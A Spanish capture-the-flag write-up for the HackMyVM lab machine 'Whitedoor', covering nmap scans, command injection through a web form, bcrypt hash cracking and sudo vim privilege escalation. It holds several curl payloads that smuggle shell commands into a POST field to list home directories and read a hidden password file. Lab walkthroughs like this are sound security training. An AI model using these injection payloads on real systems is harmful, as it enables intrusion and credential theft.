HackMyVM - Whitedoor

- Command Injection
- Brute Force - hash Bcrypt
- Abuse Vim Sudo - Privesc
Escaneo de puertos
❯ nmap -p- -T5 -n -v 192.168.1.12
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
Escaneo de servicios
❯ nmap -sVC -v -p 21,22,80 192.168.1.12
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 0 0 13 Nov 16 22:40 README.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.1.17
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0)
| ssh-hostkey:
| 256 3d:85:a2:89:a9:c5:45:d0:1f:ed:3f:45:87:9d:71:a6 (ECDSA)
|_ 256 07:e8:c5:28:5e:84:a7:b6:bb:d5:1d:2f:d8:92:6b:a6 (ED25519)
80/tcp open http Apache httpd 2.4.57 ((Debian))
|_http-title: Home
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.57 (Debian)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
FTP TCP - 21
En el escaneo de servicios veo que existe el archivo README.txt en el servidor FTP.
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 0 0 13 Nov 16 22:40 README.txt
Este es su contenido.
❯ cat README.txt
¡Good luck!
HTTP TCP - 80

Al visitar el sitio web me encuentro con esta pequeña herramienta.

Inspecciono el código fuente y en un comentario pone Formulario de Comandos.

Si escribo cualquier texto me da el siguiente error.

Intercepto la petición con burpsuite.

Con curl encuentro la forma de inyectar comandos.

Enumero usuarios del sistema.
❯ curl -s http://192.168.1.12/index.php -X POST -d "entrada=ls;echo;ls /home/ | grep bash&submit=" | html2text

Si voy al directorio de Gonzalo no veo nada.
❯ curl -s http://192.168.1.12/index.php -X POST -d "entrada=ls;echo;ls -la /home/Gonzalo&submit=" | html2text

En Desktop del usuario whiteshell encuentro un archivo oculto.
❯ curl -s http://192.168.1.12/index.php -X POST -d "entrada=ls;echo;ls -la /home/whiteshell/Desktop&submit=" | html2text

Con cat visualizo el archivo y obtengo una cadena en base64.
❯ curl -s http://192.168.1.12/index.php -X POST -d "entrada=ls;echo;cat /home/whiteshell/Desktop/.my_secret_password.txt&submit=" | html2text

Decodifico la cadena.

Me conecto al sistema.
❯ ssh whiteshell@192.168.1.12
whiteshell@192.168.1.12's password:
Linux whitedoor 6.1.0-13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.55-1 (2023-09-29) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
whiteshell@whitedoor:~$
Enumero el directorio del usuario Gonzalo y en Desktop encuentro un archivo oculto con el nombre .my_secret_hash.
whiteshell@whitedoor:/home/Gonzalo$ ls -laR Desktop/
Desktop/:
total 16
drwxr-xr-x 2 root Gonzalo 4096 Nov 17 19:26 .
drwxr-x--- 9 Gonzalo whiteshell 4096 Nov 17 18:11 ..
-r--r--r-- 1 root root 61 Nov 16 20:49 .my_secret_hash
-rw-r----- 1 root Gonzalo 20 Nov 16 21:54 user.txt
Dentro de .my_secret_hash hay un hash de usuario, lo copio y creo un archivo con el nombre hash para intentar romperlo con johntheripper.
whiteshell@whitedoor:/home/Gonzalo/Desktop$ cat .my_secret_hash
$2y$10$CqtC7h0oOG5sir4oUFxkGuKzS561UFos6F7hL31Waj/Y48ZlAbQF6
Obtengo la contaseña del hash de Gonzalo.

Paso de usuario whiteshell a Gonzalo.

Enumero permisos de sudo.
Gonzalo@whitedoor:~/Desktop$ sudo -l
Matching Defaults entries for Gonzalo on whitedoor:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User Gonzalo may run the following commands on whitedoor:
(ALL : ALL) NOPASSWD: /usr/bin/vim
Con la herramienta gtfobins-cli puedo ver 3 formas de obtener el root.

Obtengo el root de la siguiente forma:

Y aquí termina la máquina Whitedoor.
Saludos!